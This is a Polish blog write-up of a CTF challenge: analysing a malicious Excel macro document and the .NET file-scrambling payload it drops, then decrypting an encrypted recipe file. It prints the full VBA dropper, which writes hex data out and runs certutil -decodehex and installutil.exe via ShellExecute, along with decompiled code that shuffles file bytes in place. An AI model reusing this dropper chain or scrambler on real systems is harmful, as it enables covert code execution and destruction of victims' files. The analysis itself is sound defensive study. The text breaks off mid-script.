Czwarte z rzędu

Ostatnio upominałem się o trochę trudniejsze zadania CTFowe organizowane przez ten portal. Mam wrażenie, że moje uwagi zostały wysłuchane :) bo dziś na warsztat trafił trochę trudniejszy czelendż, od tych poprzednich. Okazuje się, że pomimo urlopu i trafienia na zadanie 3 dni po publikacji, znów udało mi się je rozwiązać w TOP1. Poniżej przedstawiam writeup opisujący jak doszedłem do rozwiązania. Tym razem jest to wyzwanie ponownie przygotowane przez Grzegorza Sowę, z którym miałem okazję porozmawiać po zgłoszeniu rozwiązania. Podobno można prościej, ale wymaga to znajomości jakiś narzędzi napisanych w C#. Nie znam się, więc z ewentualnymi pytaniami myślę, że warto łapać Autora. Od dzisiaj daję sobie spokój z wyzwaniami WładcówSieci. Cztery razy na podium starczy. Dam szansę innym. Do zadań wrócę jeśli będą ciekawe i wymagające. Jednocześnie obiecuję nie rozwiązywać ich za szybko ;)

Side note: Nie wszystkie ciekawe mechanizmy wyłapałem, ale cel był taki aby zadanie rozwiązać jak najszybciej a nie zastanawiać się nad użytymi technikami. Zachęcam do samodzielnego rozwiązania i analizy.

Przy okazji, uruchomiłem statyczne komentarze na blogu, od teraz można komentować moje wpisy! :). Jak na statycznego bloga przystało, wykorzystuje staticmana odpalonego na darmowej instancji heroku. Pula tysiąca komentarzy miesięcznie czeka na wykorzystanie!

Recon

Treść zadania wyglądała następująco:

img

dodatkowo Autorzy zadania uściślili wymagania w sposób pokazany poniżej:

Cel wyzwania:

Celem zadania jest odnalezienie przepisu na groszek oraz opisanie kolejno wykonywanych kroków.

Pod poniższym linkiem: https://cutt.ly/YiVBAZ2 znajduje się załącznik maila, którego dostał główny informatyk.

Hasło do zipa to: wladcysieci.

Prosimy o przesłanie opisu wykonanych kroków oraz podanie przepisu w postaci flagi -> FLG{xxxx} oraz opisu wykonanych czynnośna adres: info@wladcysieci.pl

Do wygrania nagroda główna Plecak Dell Pursuit 15 przydatny podczas wakacyjnych podróży. Na kolejne dwie osoby, które rozwiążą zadanie czekają bezprzewodowe słuchawki JBL Tune.

Dodatkowo na każdego, kto weźmie udział w gRywalizacji czeka +5pkt w rankingu oraz paczka upominków od Władcy Sieci.

Życzymy powodzenia!

Okazuje się, że początkowo forma flagi została przedstawiona w sposób nieprawidłowy oraz przedstawione wymagania nie były spójne (po wysłaniu zapytania o format flagi, wyszło że wysłanie krok po kroku rozwiązania jest również wymagane). Po zwrócieniu uwagi na powyższe niedopatrzenia post został edytowany i usterki naprawione.

Link do zadania prowadzi do archiwum zip na Google Drive, w którym znajdują się dwa pliki:

  • dofinansowanie.xmls
  • przepis

Po wypakowaniu (archiwum zabezpieczone jest hasłem wladcysieci) zipa można przyjrzeć się zawartości. Otrzymujemy dwa pliki, przepis stanowi dane binarne (zapewne zaszyfrowane w skutek działania malware podrzuconego szefowi firmy), tymczasem drugi plik (dofinansowanie.xlsm) stanowi dokument Excela (zapewne ze złosliwymi makrami).

~/Downloads/wladcyscieci ❯ ls -la
total 1412
drwxr-xr-x  2 fox users    4096 Aug 20 16:35 .
drwxr-xr-x 11 fox users   20480 Aug 20 16:35 ..
-rw-r--r--  1 fox users  226325 Jun 30 05:46 dofinansowanie.xlsm
-rw-r--r--  1 fox users 1190762 Jun 30 05:46 przepis
~/Downloads/wladcyscieci ❯  r2 -qfnc 'p==' przepis
                                                                              
                █            █ █                               █            █ 
 █      █     █ █            █ █     ██          █ █          ███        █  █ 
 █      █     █ █   █  ██ █  █ █   █ ██        █ █ █          ███        █  █ 
 █      ██    █ █   █ ███ █  █ █   ████        █ █ █   █  █   ███   █ █  █ ██ 
 █  █   ██    █ █   █ ███ █  █ ██  █████       █ █ █   █  █   ███   █ █  █ ██ 
██  █   ██    █ █ █ █ ███ █  █ ██  █████       █ █ █   █  ██  ████  ███  █ ██ 
██  █   ███   █ █ █ █ ███ ██ █ ██  █████       █ █ █   █  ██  ████  ███  █ ██ 
███ ███ ███   █ █ █ █ ███ ██ █ ██ ██████   █   █ █ █   ██ ██  ████  ███  █ ██ 
███ ███ ███ █ █████ ██████████ ██ ██████ █ ███ ███ █   ██ ██  █████ ███ ██ ██ 
███ ███████ ██████████████████ ██ ██████ █████████ █ █ ██ ██  █████ ██████ ██ 
███ ███████ ██████████████████ ██ ██████ █████████ █ █ ██ ██  █████ ██████ ██ 
███████████ █████████████████████ ██████ ███████████ ████ █████████ ██████ ██ 
██████████████████████████████████████████████████████████████████████████████
~/Downloads/wladcyscieci ❯ rahash2 -a entropy przepis 
przepis: 0x00000000-0x00122b69 entropy: 7.98529263
~/Downloads/wladcyscieci ❯ file przepis 
przepis: data
~/Downloads/wladcyscieci ❯ file dofinansowanie.xlsm 
dofinansowanie.xlsm: Microsoft Excel 2007+

Plik Office

Nie pamiętam dokładnego powodu, a nie chcę zasłaniać się lenistwem, przez który nie analizowałem dokumentu Office przy pomocy Excela lub LibreOffice. Jak się okazało brak GUI był kluczem do sukcesu i pozwolił obejść rzekome trudności. Funkcjonalność Excela pozwala na ukrycie arkuszy, co miało na celu utrudnienie analizy pliku.

~/Downloads/wladcyscieci ❯ ssconvert -S dofinansowanie.xlsm asdf.csv
~/Downloads/wladcyscieci ❯ ls -la | grep asdf
-rw-r--r--  1 rav users     441 Aug 20 16:41 asdf.csv.0
-rw-r--r--  1 rav users     195 Aug 20 16:41 asdf.csv.1
-rw-r--r--  1 rav users  128261 Aug 20 16:41 asdf.csv.2

Program ssconvert umożliwia konwersję arkuszy kalkulacyjnych na wiele formatów. W tym czytelny z poziomu konsoli format tekstowy. Wynikiem konwersji danego xlsm na csv są trzy pliki odpowiadające trzem arkuszom znajdującym się wewnątrz. Jeśli użytkownik dokonałby analizy przy pomocy pakietu Office zapewne nie zobaczyłby dwóch ukrytych arkuszy. Ale po kolei.

Plik asdf.csv.0 stanowi główny arkusz dokumentu wyglądający następująco:

~/Downloads/wladcyscieci ❯ cat asdf.csv.0 
"Formularz dofinansowania w programie ""Innowacyjna gospodarka""",
,
,
"Czy produkt firmy wprowadza istotne innowacje na rynek krajowy?",-
"Czy wykorzystywany park maszynowy został przygotowany pod kątem rozbudowy?",-
"Czy produkt kojarzony jest przez konsumetów z ""ekologią""?",-
"Czy firma dba o rozwój swoich pracowników?",-
"Czy zarząd firmy aktywnie wspiera lokalne społeczności?",-
,
,
,
,
,
,
,
,
,
,
,
,
,
,
,
-,
tak,
nie,

Jest to formularz zawierający serię pytań, na które użytkownik powinien udzielić odpowiedzi aby otrzymać dofinansowanie. Z kolei następny arkusz zawiera serię dziwnych ciągów oraz nazw programów systemu Windows.

~/Downloads/wladcyscieci ❯ cat asdf.csv.1
34
22
30
48
36
23
open
"decodehex -f"
25
scripting.filesystemobject
43



new:



0883f19c0a00-5548-1d11-1a2f-09dfa80c

c:\windows\microsoft.net\Framework\






installutil.exe




certutil.exe

Trzeci z wypakowanych arkuszy jest najbardziej tajemniczy i stanowi kolumnę liczb. Jego fragment przedstawiam poniżej:

~/Downloads/wladcyscieci ❯ cat asdf.csv.2 | wc -l 
22016
~/Downloads/wladcyscieci ❯ head asdf.csv.2        
45901
34906
37776
18688
19459
50432
768
49408
52996
46080

Na tym etapie już staje się jasne co się dzieje. Użytkownik uruchamia dokument i uzupełnia pola. W międzyczasie (albo w wyniku uzupełnienia formularza) wywoływane są makra, ktore korzystając z dwóch nastepnych arkuszy dokonują jakiegoś działania. Pozostaje sprawdzić jakie makra obecne są w arkuszu. W tym celu można wykorzystać pythonowe narzędzie officeparser.

~/Downloads/wladcyscieci ❯ officeparser --extract-macros ./dofinansowanie.xlsm
WARNING: last sector has invalid size
INFO: Saving VBA code to ./Ten_skoroszyt_1.cls
INFO: Saving VBA code to ./Arkusz1_1.cls
INFO: Saving VBA code to ./Arkusz2_1.cls
INFO: Saving VBA code to ./Arkusz3_1.cls

Okazuje się, że do przygotowania zadania (czego dowiedziałem się już po zgłoszeniu) został wykorzystany program EvilClippy, którego funkcjonalność pozwala między innymi na ukrycie makr przed użytkownikiem. Jak widać tym razem udało się je wypakować bez większych problemów. Tym samym otrzymałem makra dostepne w dokumencie (jak się później okazało - poprawnie wyodrębnione z dokumentu).

Z czterech plików, aż trzy zawierały boilerplate code, który nie wnosił nic do analizy i wyglądał nastepująco:

Attribute VB_Name = "Arkusz3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Natomiast plik Arkusz_1.cls zawierał następujący kod:

~/Downloads/wladcyscieci ❯ cat Arkusz1.cls 
Attribute VB_Name = "Arkusz1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub fun1(path As String, par As String)
Dim targetFile As String
Dim obj As Object
Dim parvar As Variant

targetFile = Split(path, "")(0)
Set obj = konwert()
parvar = par
Visible = 1
obj.ShellExecute targetFile, parvar, "", getGizmo(2), Visible
End Sub

Function getGizmo(loc As Integer)
ind = Worksheets("Arkusz2").Range("A" + CStr(loc)).value
getGizmo = Worksheets("Arkusz2").Range("A" + CStr(ind - 15)).value
End Function


Function konwert()
Set konwert = GetObject(getGizmo(3) + StrReverse(getGizmo(1))).Document.Application

End Function


Sub saveHexFile(fso As Object, fileName As String, worksh As Object, startrow As Long)
  
  Dim value As Long
  Dim outValue As Long
  Dim row, col As Long
  Dim bufpos As Long
  Dim Digit As Integer
  Dim buffer As String
  
  Set mucha = fso.createtextfile(fileName)
  
  hexDigits = "0123456789abcdef"
  row = startrow
  col = 1
  bufpos = 0
  
  Do Until False
    If IsEmpty(worksh.Cells(row, col)) Then
      Exit Do
    End If
    
    value = worksh.Cells(row, col)
    outValue = value Mod 256
    
    Rem convert to hex
    outValueHigh = outValue \ 16
    Digit1 = Mid(hexDigits, outValueHigh + 1, 1)
    
    buffer = buffer + Digit1
    
    outValueLow = outValue Mod 16
    Digit2 = Mid(hexDigits, outValueLow + 1, 1)
    buffer = buffer + Digit2
      
    row = row + 1
    If (row > 65536) Then
      col = col + 1
      row = startrow
    End If
    
    bufpos = bufpos + 2
    If (bufpos > 100) Then
      mucha.writeLine (buffer)
      bufpos = 0
      buffer = ""
    End If
    
  Loop
  mucha.writeLine (buffer)
  mucha.Close
End Sub


Function findframeworkdir(fso As Object, basedir As String)
 basedirlen = Len(basedir)
 
 For Each objFolder In fso.GetFolder(basedir).SubFolders
                 res = InStr(basedirlen + 1, objFolder, "v4.")
        If res = basedirlen + 1 Then
          findframeworkdir = objFolder
          Exit Function
          
        End If           
    Next
End Function


Sub test()
Dim p As String


Dim tmpname As String

 Dim fso As Object
 Dim kaczka As String
 Dim insutilfullname As String
 Sheets("Arkusz2").Visible = True
 Sheets("Dane").Visible = True
 Set fso = CreateObject(getGizmo(9))
 kaczka = fso.GetSpecialFolder(2)
  
  
frameworkdir = findframeworkdir(fso, getGizmo(5))
insutilfullname = frameworkdir + "\" + getGizmo(11)


tmpname = kaczka + "\" + fso.getTempName()
tmpname2 = kaczka + "\" + fso.getTempName()

Call saveHexFile(fso, tmpname, Worksheets("dane"), 100)
fun1 getGizmo(4), "-" + getGizmo(6) + " " + tmpname + " " + tmpname2
fun1 insutilfullname, "" + tmpname2
 Sheets("Arkusz1").Visible = True
 
 Sheets("Arkusz2").Visible = False
 Sheets("Dane").Visible = False
 
End Sub

Sub Worksheet_Change(ByVal Target As Range)
    Dim KeyCells As Range

    answered = 0
    Start = 4
    Number = 5
    
    For i = Start To Start + Number - 1
    If Range("B" + CStr(i)).value <> "-" Then
    answered = answered + 1
    End If
    Next
    
    If answered = Number Then
    Call verify
    End If 
End Sub

Sub verify()
  Call test
  End Sub

Nie wiem czy nazwy poszczególnych zmiennych i funkcji to jakieś nawiązania, ale zdecydowanie nie wyglądają na standardowy kod i warto się im przyjrzeć. Czytanie VBscriptu nie jest dla mnie procesem przyjemnym, dlatego w tak prostych zadaniach uprzyjemniam sobie proces przez wykorzystanie konwertera do bardziej zjadliwego języka jakim jest Python. Skorzystałem z gotowego rozwiązania dostępnego tu (jest też biblioteka). Oczywiście konwersja jednego języka na drugi może nieść za sobą pewne utrudnienia i wyjściowy kod nie zawsze będzie działał, ale w tym przypadku nie potrzebowałem działającego przykładu tylko opisu tego, co się w programie dzieje. Teoretycznie vb2py można by nazwać transpilatorem, bowiem wyjściowy kod funkcjonalnie jest tożsamy z wejściowym, a obydwa języki to ten sam poziom abstrakcji. Praktycznie - nie uruchamiałem tego kodu, ani nie analizowałem biblioteki, więc ciężko mi powiedzieć, czy konwersja wpłynęła jakoś na funkcjonalność kodu.

Kod w języku Python wygląda dużo zwięźlej i czytelniej

from vb2py.vbfunctions import *
from vb2py.vbdebug import *



def fun1(path, par):
    targetFile = String()

    obj = Object()

    parvar = Variant()
    targetFile = Split(path, '')(0)
    obj = konwert()
    parvar = par
    Visible = 1
    obj.ShellExecute(targetFile, parvar, '', getGizmo(2), Visible)

def getGizmo(loc):
    ind = Worksheets('Arkusz2').Range('A' + CStr(loc)).value
    fn_return_value = Worksheets('Arkusz2').Range('A' + CStr(ind - 15)).value
    return fn_return_value

def konwert():
    fn_return_value = GetObject(getGizmo(3) + StrReverse(getGizmo(1))).Document.Application
    return fn_return_value

def saveHexFile(fso, fileName, worksh, startrow):
    value = Long()

    outValue = Long()

    row = Variant()

    col = Long()

    bufpos = Long()

    Digit = Integer()

    buffer = String()
    mucha = fso.createtextfile(fileName)
    hexDigits = '0123456789abcdef'
    row = startrow
    col = 1
    bufpos = 0
    while not (False):
        if IsEmpty(worksh.Cells(row, col)):
            break
        value = worksh.Cells(row, col)
        outValue = value % 256
        #convert to hex
        outValueHigh = outValue // 16
        Digit1 = Mid(hexDigits, outValueHigh + 1, 1)
        buffer = buffer + Digit1
        outValueLow = outValue % 16
        Digit2 = Mid(hexDigits, outValueLow + 1, 1)
        buffer = buffer + Digit2
        row = row + 1
        if ( row > 65536 ) :
            col = col + 1
            row = startrow
        bufpos = bufpos + 2
        if ( bufpos > 100 ) :
            mucha.writeLine(( buffer ))
            bufpos = 0
            buffer = ''
    mucha.writeLine(( buffer ))
    mucha.Close()

def findframeworkdir(fso, basedir):
    basedirlen = Len(basedir)
    for objFolder in fso.GetFolder(basedir).SubFolders:
        res = InStr(basedirlen + 1, objFolder, 'v4.')
        if res == basedirlen + 1:
            fn_return_value = objFolder
            return fn_return_value
    return fn_return_value

def test():
    p = String()

    tmpname = String()

    fso = Object()

    kaczka = String()

    insutilfullname = String()
    Sheets['Arkusz2'].Visible = True
    Sheets['Dane'].Visible = True
    fso = CreateObject(getGizmo(9))
    kaczka = fso.GetSpecialFolder(2)
    frameworkdir = findframeworkdir(fso, getGizmo(5))
    insutilfullname = frameworkdir + '\\' + getGizmo(11)
    tmpname = kaczka + '\\' + fso.getTempName()
    tmpname2 = kaczka + '\\' + fso.getTempName()
    saveHexFile(fso, tmpname, Worksheets('dane'), 100)
    fun1(getGizmo(4), '-' + getGizmo(6) + ' ' + tmpname + ' ' + tmpname2)
    fun1(insutilfullname, '' + tmpname2)
    Sheets['Arkusz1'].Visible = True
    Sheets['Arkusz2'].Visible = False
    Sheets['Dane'].Visible = False

def Worksheet_Change(Target):
    KeyCells = Range()
    answered = 0
    Start = 4
    Number = 5
    for i in vbForRange(Start, Start + Number - 1):
        if Range('B' + CStr(i)).value != '-':
            answered = answered + 1
    if answered == Number:
        verify

def verify():
    test

# VB2PY (UntranslatedCode) Attribute VB_Name = "Arkusz1"
# VB2PY (UntranslatedCode) Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
# VB2PY (UntranslatedCode) Attribute VB_GlobalNameSpace = False
# VB2PY (UntranslatedCode) Attribute VB_Creatable = False
# VB2PY (UntranslatedCode) Attribute VB_PredeclaredId = True
# VB2PY (UntranslatedCode) Attribute VB_Exposed = True
# VB2PY (UntranslatedCode) Attribute VB_TemplateDerived = False
# VB2PY (UntranslatedCode) Attribute VB_Customizable = True

Całość przetwarzania zaczyna się od funkcji Worksheet_Change, która obserwuje zmiany dokonywane w arkuszu z “formularzem”. W przypadku, gdy wykryte zostanie pomyslne wypełnienie arkusza wywoływana jest funkcja verify, która przekazuje sterowanie do funkcji test, w której zaimplementowano główną logikę programu. Pobieżna analiza wskazuje, że nie jest to bezpośrednio funkcja ingerująca w system plików (np. wywołująca proces szyfrowania), a jedynie kolejna warstwa przygotowania payloadu.

Funkcja test korzysta z funkcji pomocniczych GetGizmo, saveHexFile oraz fun1. Pierwsza z nich swoje działanie opiera na drugim arkuszu, którego zawartość zaprezentowana została w pliku asdf.csv.1. Wyliczając offset pobiera i zwraca dane z określonej komórki. saveHexFile konwertuje liczby na system szesnastkowy i zapisuje do pliku. natomiast funkcja fun1 służy do wywoływania poleceń przez wykorzystanie metody ShellExecute. Aby zebrać w jednym miejscu kolejne operacje wykonywane w ramach funkcji test stworzyłem brzydki skrypt pokazany poniżej:

~/devp/tmp  cat arkusz_solver.py 

#! /usr/bin/env python3

gizmo = [
34,
22,
30,
48,
36,
23,

'open',
"decodehex -f",
25,
'scripting.filesystemobject',
43,
"",
"",
"",
'new:',
"",
"",
"",
'0883f19c0a00-5548-1d11-1a2f-09dfa80c',
'',
'c:\\windows\\microsoft.net\\Framework\\',
'',
'',
'',
'',
'',
'',
'installutil.exe',
'',
'',
'',
'',
'certutil.exe',
''
]

def getgizmo(loc):
    ind = gizmo[loc - 1]
    # print(ind)
    if not isinstance(ind, int):
        raise Exception
    ind = ind - 15 - 1
    # print(ind)
    thing = gizmo[ind]
    return thing

def konwert():
    return f"GetObject({getgizmo(3)}{getgizmo(1)[::-1]}).Document_Application"

def test():
    print(f'FSO = {getgizmo(9)}')
    print(f'{getgizmo(5)}')
    print(f'frameworkdir + \'\\\' + = {getgizmo(11)}')
    print(f'{getgizmo(4)}')
    print(f'{getgizmo(6)}')
    print(f'{getgizmo(3)}')
    print(f'{getgizmo(1)}')
    print(f'{getgizmo(2)}')
    print(f'fun1({getgizmo(4)}, -{getgizmo(6)} tmpfile1 tmpfile2)')
    print(f'fun1(installutil.exe, tmpfil2')
    print(f"Konwert = {konwert()}")


if __name__ == '__main__':
    test()

Wynikiem działania arkusz_solver.py jest zdeobfuskowany fragment kodu funkcji test, który wygląda następująco:

~/devp/tmp ❯ python arkusz_solver.py 
FSO = scripting.filesystemobject
c:\windows\microsoft.net\Framework\
frameworkdir + '\' + = installutil.exe
certutil.exe
decodehex -f
new:
0883f19c0a00-5548-1d11-1a2f-09dfa80c
open
fun1(certutil.exe, -decodehex -f tmpfile1 tmpfile2)
fun1(installutil.exe, tmpfil2
Konwert = GetObject(new:c08afd90-f2a1-11d1-8455-00a0c91f3880).Document_Application

Ubierając w kontekst wartości zwrócone przez powyższy skrypt otrzymujemy następujący obraz sytuacji:

  • dostępne (Sheets[_nazwa_].Visible = True) stają się arkusze Arkusz2 oraz dane
  • fso zostaje instancją ScriptingObject
  • kaczka to folder tymaczasowy
  • frameworkdir wskazuje na ścieżkę c:\windows\microsoft.net\Framework\
  • insutilfullname wskazuje na ścieżkę do installutil.exe
  • tworzone są dwie nazwy plików tymczasowych w folderze wskazywanym przez mienną kaczka, kolejno tmpname oraz tmpname2
  • Zapisywany jest plik o nazwie przechowywanej w tmpname z wykorzystaniem funkcji saveHexFile, na podstawie danych z arkusza dane
  • wywoływana jest funkcja fun1 w celu wywołania polecenia certutil -decodehex -f tmpfile1 tmpfile2, które to polecenie przekształca heksadecymalną formę arkusza dane do pliku binarnego
  • wywoływana jest funkcja fun1 w celu wywołania polecenia installutil.exe tmpfile2, które to polecenie ma na celu zainstalowanie usługi z wykorzystaniem narzędzia installutil, podanej jako parametr assembly, czyli zdekodowanej postaci arkusza dane
  • na koniec ukrywane są zbędne arkusze danych

Tym samym część zagadki została rozwiązana. W celu pozyskania binarki wykorzystałem poniższy skrypt:

#!/usr/bin/env python3
import csv

def savehexfile(fname, offset):
    fe = ""
    with open(fname, 'r') as f:
        content = f.read()
        lines = content.split('\n')
        for l in lines:
            if not l:
                break
            a = int(l) % 256
            fe += format(a, '02x')
            

    print(fe[offset: ])
    return fe

if __name__ == '__main__':
    # savehexfile('asdf.csv.2', 100)
    savehexfile('asdf.csv.2', 101)

Wynikiem jego działania jest plik tekstowy zawierający dane tekstowe będące reprezentacją pliku wykonywalnego.

~/Downloads/wladcysieci/tmp ❯ file output.txt 
output.txt: ASCII text, with very long lines
~/Downloads/wladcysieci/tmp ❯ wc output.txt 
    1     1 43932 output.txt

Po konwersji otrzymujemy plik PE32 napisany z wykorzystaniem technologii .NET. Pewnie jest to payload, który dokonuje szyfrowania plików na dysku. W wyniku braku środowiska do debugowania procesów systemów z rodziny Windows dokonałem tylko analizy statycznej. Analizy, która wystarczyła aby rozwiązać powyższe zadanie.

~/Downloads/wladcysieci/tmp ❯ cat output.txt | xxd -r -p > exec.bin
~/Downloads/wladcysieci/tmp ❯ file exec.bin 
file.bin: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

Inżynieria wsteczna pliku PE

Plik wykonywalny zdekompliwałem z użyciem DotPeeka.

Dotpeek Na pierwszy rzut oka binarka wygląda na zobfuskowaną. Nie mam dużego doświadczenia w analizie .NETa, ale jeśli to nie obfuskacja to chociaż brak symboli debugera, co sprawia, że czytanie kodu nie jest zbyt przyjemne.

Główna logika zadania została zdekompilowana do kasy C1255198513

  internal class C1255198513
  {
    public static void C3554254475()
    {
      // ISSUE: object of a compiler-generated type is created
      // ISSUE: variable of a compiler-generated type
      C1255198513.C3554254475 c3554254475 = new C1255198513.C3554254475();
      string path = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Desktop), "tajne");
      // ISSUE: reference to a compiler-generated field
      c3554254475.C3554254475 = new Random();
      int num1 = (int) MessageBox.Show("Kill'em all Started");
      try
      {
        // ISSUE: reference to a compiler-generated method
        IOrderedEnumerable<string> orderedEnumerable = ((IEnumerable<string>) Directory.GetFiles(path, "*.*", SearchOption.AllDirectories)).Where<string>((Func<string, bool>) (obj0 => char.IsLetter(obj0[0]))).Where<string>((Func<string, bool>) (obj0 => !C3554254475.C3904355907.C1255198513(obj0))).OrderBy<string, int>(new Func<string, int>(c3554254475.C3554254475));
        C3554254475.C3904355907 c3904355907 = new C3554254475.C3904355907("blekota");
        foreach (string str in (IEnumerable<string>) orderedEnumerable)
        {
          c3904355907.C1908338681(str);
          c3904355907.C3904355907(str);
        }
      }
      catch (DirectoryNotFoundException ex)
      {
        int num2 = (int) MessageBox.Show("Directory:" + path + " doesn't exist");
      }
      catch (Exception ex)
      {
        int num2 = (int) MessageBox.Show(ex.Message);
      }
      int num3 = (int) MessageBox.Show("Done");
      while (true)
        Thread.Sleep(10000);
    }
  }

Zadaniem metody C3554254475() jest pozyskanie ścieżki do katalogu tajne umieszczonego na pulpicie użytkownika. Następnie dla plików umieszczonych w tym folderze wykonywane są dwie metody. Druga, krótsza c3904355907.C3904355907() odznacza tylko pliki jako zaszyfrowane/zakodowane natomiast c3904355907.C1908338681(); skrywa logikę operacji na pliku.

public bool C1908338681([In] string obj0)
    {
      FileStream fileStream = (FileStream) null;
      BinaryReader binaryReader = (BinaryReader) null;
      BinaryWriter binaryWriter = (BinaryWriter) null;
      bool flag = true;
      try
      {
        Console.WriteLine("Processing file:" + obj0);
        fileStream = File.Open(obj0, FileMode.OpenOrCreate, FileAccess.ReadWrite);
        binaryReader = new BinaryReader((Stream) fileStream);
        binaryWriter = new BinaryWriter((Stream) fileStream);
        byte[] array = new byte[65536];
        int newSize;
        while ((newSize = binaryReader.Read(array, 0, array.Length)) > 0)
        {
          Console.WriteLine("read bytes:" + newSize.ToString());
          Array.Resize<byte>(ref array, newSize);
          byte[] buffer = this.C3554254475(array);
          binaryWriter.Seek(-newSize, SeekOrigin.Current);
          binaryWriter.Write(buffer);
          Console.WriteLine("write bytes:" + buffer.Length.ToString());
        }
      }
      catch (Exception ex)
      {
        flag = false;
      }
      finally
      {
        binaryWriter.Dispose();
        binaryReader.Dispose();
        fileStream.Dispose();
      }
      return flag;
    }

Program odczytuje zawartość pliku wejściowego i następnie z wykorzystaniem funkcji this.C3554254475(array) dokonuje przestawienia bajtów w sposób następujący.

    private byte[] C3554254475([In] byte[] obj0)
    {
      if (obj0.Length > 65536)
        throw new ArgumentException("data len too long");
      int length = obj0.Length;
      int num = length;
      byte[] numArray = new byte[length];
      for (; num > 0; --num)
      {
        int index = (int) this.C3554254475[length - num] % num;
        numArray[length - num] = obj0[index];
        obj0[index] = obj0[num - 1];
      }
      return numArray;
    }

Dla każdej paczki (chunk) danych o wielkości nie większej niż 65536 bajtów wykonywane są przestawienia bajtów zgodnie z kolejnością przedstawioną w pętli for. Operacja przesunięć bajtów (shuffle) wykorzystuje pole klasy this.C3554254475, które jest tablicą danych typu ushort, zdefiniowane następująco “private readonly ushort[] C3554254475”. Tablica ta wyliczana jest na podstawie ziarna, podanego jako parametr konstruktora C3554254475.C3904355907 c3904355907 = new C3554254475.C3904355907("blekota");. Słowo blekota inicjalizuje proces generowania tablicy przesunięć zaimplementowany następująco:

 public C3904355907([In] string obj0)
    {
      this.C3554254475 = this.C3554254475(obj0);
      if (this.C3554254475.Length != 65536)
        throw new ArgumentException("invalid len of randStream");
    }

    private ushort[] C3554254475([In] string obj0_1)
    {
      List<ushort> ushortList = new List<ushort>(65536);
      byte[] buffer = Encoding.ASCII.GetBytes(obj0_1);
      while (ushortList.Count < 65536)
      {
        buffer = new SHA512Managed().ComputeHash(buffer);
        ushortList.AddRange((IEnumerable<ushort>) ((IEnumerable<byte>) buffer).C3554254475<byte>().Select<Tuple<byte, byte>, ushort>((Func<Tuple<byte, byte>, ushort>) (obj0_2 => (ushort) ((uint) obj0_2.Item1 * 256U + (uint) obj0_2.Item2))).ToList<ushort>());
      }
      return ushortList.ToArray();
    }

Należy zwrócić uwagę na funkcję C3554254475, która zawiera całą trudność zadania. Z wejściowego ciągu blekota iteracyjnie tworzona jest lista liczb zbudowanych na podstawie hasha sha512. Proces ten można zobrazować czytelniej przy pomocy równorzędnego kodu w Pythonie.

def calc_touple(t):
    return (t[0] * 256 + t[1]) & 0xffff


def chunk(l, size=2):
    it = iter(l)
    return iter(lambda: tuple(islice(it, size)), ())


def get_seed(a):  #should be blekota
    l = []
    arr = a.encode('utf-8')
    while len(l) < 65536:
        arr = util.hashes.sha512sum(arr)
        c = chunk(arr)
        l += list(map(calc_touple, c))
    return l

Myślę, że tak przedstawiony kod jest na tyle prosty, że nie wymaga dalszych wyjaśnień. W efekcie jego działania otrzymujemy tablicę stałych, które wykorzystywane są w procesie mieszania bajtów. Aby ułatwić sobie zrozumienie kodowania wejściowego pliku z przepisem na groszek przepisałem kod do Pythona. Poniższa funkcja jest równoważna metodzie private byte[] C3554254475([In] byte[] obj0) przedstaiwonej wyżej.

def encrypt(chunk, lookup):
    num = len(chunk)
    i = num
    outchunk = bytearray(num)
    while i > 0:
        num2 = lookup[num - i] % i # znajduje wartosc w tablicy shuffli
        outchunk[num - i] = chunk[num2] # nowa wartosc w num - itym polu arraya to plik[num2]
        chunk[num2] = chunk[i - 1] # w pliku oryginalnym podmieniam wartość num2 na i - 1 z tego pliku 
        i -= 1
    return outchunk

Umieściłem komentarze, które ułatwią odwrócenie procesu. Należy zwrócić uwagę na kolejność wykonywania działań, w innym przypadku skrypt dekodujący zwróci niepoprawny plik. Funkcja dekodująca została zaprezentowana poniżej:

def decrypt(outchunk, lookup):
    num = len(outchunk)
    chunk = bytearray(len(outchunk))
    outchunk = bytearray(outchunk)
    i = 1
    while i <= num:
        num2 = lookup[num - i] % i
        chunk[i - 1] = chunk[num2]
        chunk[num2] = outchunk[num - i]
        i += 1
    return chunk

Nie jest to skomplikowane. Teraz wystarczy wczytać plik przepis dostarczony w archiwum zip zadania. Aby uprościć sobie debugowanie napisałem prosty skrypt, który dekoduje przepis oraz sprawdza czy proces odkodowania przebiegł pomyślnie. Po kilku próbach dostosowania parametrów wykonanie sovlera przyniosło plik wyjściowy w postaci poprawnego pliku png.

#! /usr/bin/env python3


from pwn import util
from itertools import islice
from io import BytesIO
from PIL import Image

def calc_touple(t):
    return (t[0] * 256 + t[1]) & 0xffff


def chunk(l, size=2):
    it = iter(l)
    return iter(lambda: tuple(islice(it, size)), ())


def get_seed(a):  #should be blekota
    l = []
    arr = a.encode('utf-8')
    while len(l) < 65536:
        arr = util.hashes.sha512sum(arr)
        c = chunk(arr)
        l += list(map(calc_touple, c))
    return l


def encrypt(chunk, lookup):
    num = len(chunk)
    i = num
    outchunk = bytearray(num)
    while i > 0:
        num2 = lookup[num - i] % i # znajduje wartosc w tablicy shuffli
        outchunk[num - i] = chunk[num2] # nowa wartosc w num - itym polu arraya to plik[num2]
        chunk[num2] = chunk[i - 1] # w pliku oryginalnym podmieniam wartość num2 na i - 1 z tego pliku 
        i -= 1
    return outchunk

def decrypt(outchunk, lookup):
    num = len(outchunk)
    chunk = bytearray(len(outchunk))
    outchunk = bytearray(outchunk)
    i = 1
    while i <= num:
        num2 = lookup[num - i] % i
        chunk[i - 1] = chunk[num2]
        chunk[num2] = outchunk[num - i]
        i += 1
    return chunk


def decryption(fname, d):
    parts = bytearray(0)
    with open(fname, 'rb') as f:
        chunk = f.read(65536)
        while chunk:
            print(len(chunk))
            parts.extend(decrypt(chunk, d[:]))
            chunk = f.read(65536)

    open('przepis_plaint.png', 'w+b').write(parts)
    return parts

def encryption(bts, d):
    chunks = []
    parts = bytearray(0)
    for i in range(0, len(bts), 65536):
